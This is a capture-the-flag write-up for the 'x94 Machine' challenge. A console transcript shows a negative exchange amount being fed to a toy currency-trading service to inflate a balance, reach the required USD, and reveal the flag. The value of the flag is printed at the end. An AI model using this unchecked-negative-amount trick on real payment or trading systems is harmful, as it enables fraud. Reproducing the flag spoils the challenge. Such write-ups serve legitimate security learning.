ForbiddenBITSCTF x94 Machine

This challenge was similar and little bit easier than x93 (it doesn’t require any scripts :-P). There was an integer overflow attack in this challenge and then you can exchange huge money to USD >= $5000.

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                                                                                                                                           
 _    _  94   _________   ______   ______  _    _  _____  ______   ______                                                                                                                                          
\ \  / /     | | | | | \ | |  | | | |     | |  | |  | |  | |  \ \ | |                                                                                                                                              
 >|--|<      | | | | | | | |__| | | |     | |--| |  | |  | |  | | | |----                                                                                                                                          
/_/  \_\     |_| |_| |_| |_|  |_| |_|____ |_|  |_| _|_|_ |_|  |_| |_|____                                                                                                                                          

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                                                                                                                                           

Really Wanna Trade with us ? yes/no                                                                                                                                                                                
yes                                                                                                                                                                                                                

Enter Username :                                                                                                                                                                                                   
SAM                                                                                                                                                                                                                

Welcome SAM                                                                                                                                                                                                        

Enter your Command :                                                                                                                                                                                               

[1] balance                                                                                                                                                                                                        
[2] exchange                                                                                                                                                                                                       
[3] transfert                                                                                                                                                                                                      
[4] restricted area                                                                                                                                                                                                                                                                                                                                                                                                                  
1                                                                                                                                                                                                      
Your Balance : 100 USD , 100 EUR , 100 GBP                                                                                                                                                                         

Enter your Command :                                                                                                                                                                                               

[1] balance                                                                                                                                                                                                        
[2] exchange                                                                                                                                                                                                       
[3] transfert                                                                                                                                                                                                      
[4] restricted area                                                                                                                                                                                                
2                                                                                                                                                                                                                  

Enter Destination currency                                                                                                                                                                                         
GBP

Enter Source currency
EUR

Enter Amount
-20000000000000

Your Balance : 100 USD , 20000000000100 EUR , -17199999999900 GBP 

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
USD  

Enter Source currency
EUR

Enter Amount
10000

Your Balance : 10900 USD , 19999999990100 EUR , -17199999999900 GBP 

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
4

FLAG{54f882f08e3baab9d21e5f2aec4d85646a718181}
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